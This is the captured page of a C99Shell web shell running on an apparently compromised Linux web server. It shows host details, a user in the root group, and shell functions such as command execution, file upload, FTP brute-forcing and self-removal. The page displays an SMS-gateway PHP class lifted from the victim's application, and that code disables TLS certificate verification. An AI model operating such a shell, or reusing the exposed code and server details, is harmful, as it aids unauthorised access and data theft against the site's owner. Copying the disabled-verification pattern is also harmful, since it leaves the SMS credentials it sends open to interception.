!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/SmsProvider/   drwxr-xr-x
Free 28.29 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OneStwoU.php (5.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\SmsProvider;

use 
App\Models\MessageLog;
use 
Illuminate\Support\Facades\Log;

class 
OneStwoU
{
    private 
$user_name;
    private 
$password;
    private 
$mt '0';
    private 
$fl '0';
    private 
$Sid 'test';
    private 
$send_fail=[];

    private 
$url 'https://api.1s2u.io/bulksms';
    private 
$message_log;
    private 
$from_number;
    private 
$to_array;
    private 
$seven_bit_msg;
    private 
$message;

    public function 
__construct($username$password$ones_two_u_status)
    {
        
$this->user_name $username;
        
$this->password $password;
        
$this->ones_two_u_status $ones_two_u_status;
    }

    public function 
setTo($to)
    {
        
$this->to_array $to;
        return 
$this;
    }
    public function 
setFrom($from)
    {
        
$this->from_number $from;
        return 
$this;
    }

    public function 
setBody($body)
    {
        
$this->seven_bit_msg $body;
        
$this->body $body;
        return 
$this;
    }
    public function 
setMessage($message){
        
$this->message=$message;
        return 
$this;
    }
    public function 
setQueue($queue){
        
$this->queue=$queue;
        return 
$this;
    }
    public function 
setType($response){
        
$this->sms_type=$response;
        return 
$this;
    }

    public function 
send()
    {
        if (!isset(
$this->ones_two_u_status) || $this->ones_two_u_status !='active'){
            throw new 
\Exception('This provider is not active. Please contact with the administrator');
        }

        foreach (
$this->to_array as $to) {

            try{
                if (
$this->sms_type && $this->sms_type=='inbox') {
                    
$type 'inbox';
                }else{
                    
$type 'sent';
                }

                if(
$this->queue){
                    
$this->message_log=MessageLog::updateOrCreate([
                        
'to'=>$to,
                        
'from'=>$this->from_number,
                        
'body'=>$this->body,
                        
'message_id'=>$this->message->id,
                        
'customer_id'=>$this->message->customer_id,
                        
'type'=>'sent',
                    ],[
'status'=>'succeed','queue_id'=>$this->queue->id]);
                }else{
                    
$this->message_log=MessageLog::create([
                        
'to'=>$to,
                        
'from'=>$this->from_number,
                        
'body'=>$this->body,
                        
'message_id'=>$this->message->id,
                        
'customer_id'=>$this->message->customer_id,
                        
'type'=> $type,
                        
'status'=>'succeed'
                    
]);
                }
                
$post_fields = array(
                    
'username' => $this->user_name,
                    
'password' => $this->password,
                    
'mt' => $this->mt,
                    
'fl' => $this->fl,
                    
'Sid' => $this->Sid,
                    
'mno' => $to,
                    
'msg' => $this->seven_bit_msg
                
);
                
$get_url $this->url.'?'.http_build_query($post_fields);

                
$result $this->send_message($post_fields$get_url);
                if (!
$result['success']) {
                    if(isset(
$result['details'])) {
                        throw new 
\Exception($result['details']);
                    }else{
                        throw new 
\Exception('Something went wrong, try again after sometimes');
                    }
                }
            }catch (
\Exception $ex){
                
Log::error($ex->getMessage());
                if(
$this->message_log) {
                    
$this->message_log->update(['status' => 'failed']);
                }
                if (
$type && $type=='sent') {
                
$this->setSendFail([
                    
'message_id' => $this->message->id,
                    
'from_number' =>$this->from_number,
                    
'to_number' => $to,
                    
'created_at' => now(),
                    
'updated_at' => now(),
                    
'reason' => $ex->getMessage(),
                ]);
            }
            }

        }
    }


    function 
send_message($post_body$get_url)
    {
        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL$get_url);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
// Allowing cUrl funtions 20 second to execute
        
curl_setopt($chCURLOPT_TIMEOUT20);
        
// Waiting 20 seconds while trying to connect
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT20);
        
curl_setopt($chCURLOPT_SSL_VERIFYHOSTfalse);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
        
$response_string curl_exec($ch);
        
$curl_info curl_getinfo($ch);
        
$sms_result = array();
        
$sms_result['success'] = 0;
        
$sms_result['details'] = '';
        
$sms_result['http_status_code'] = $curl_info['http_code'];
        
$sms_result['api_status_code'] = '';
        
$sms_result['id'] = $response_string;
        if (
$response_string == FALSE) {
            
$sms_result['details'] .= "cURL error: " curl_error($ch) . "\n";
        } elseif (
$curl_info['http_code'] != 200) {
            
$sms_result['details'] .= "Error: non-200 HTTP status code: " $curl_info['http_code'] . "\n";
        } else {
            
$sms_result['details'] .= "Response from server: $response_string\n";
            
$api_result substr($response_string02);
            
$status_code $api_result;
            
$sms_result['api_status_code'] = $status_code;
            if (
$api_result != 'OK') {
                
$sms_result['details'] .= "Error: could not parse valid return data from server.\n" $api_result;
            } else {
                if (
$status_code == 'OK') {
                    
$sms_result['success'] = 1;
                }
            }
        }
        
curl_close($ch);
        return 
$sms_result;
    }

    public function 
getSendFail(){
        return 
$this->send_fail;
    }

    private function 
setSendFail($sendFailArray){
        
$this->send_fail[]=$sendFailArray;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--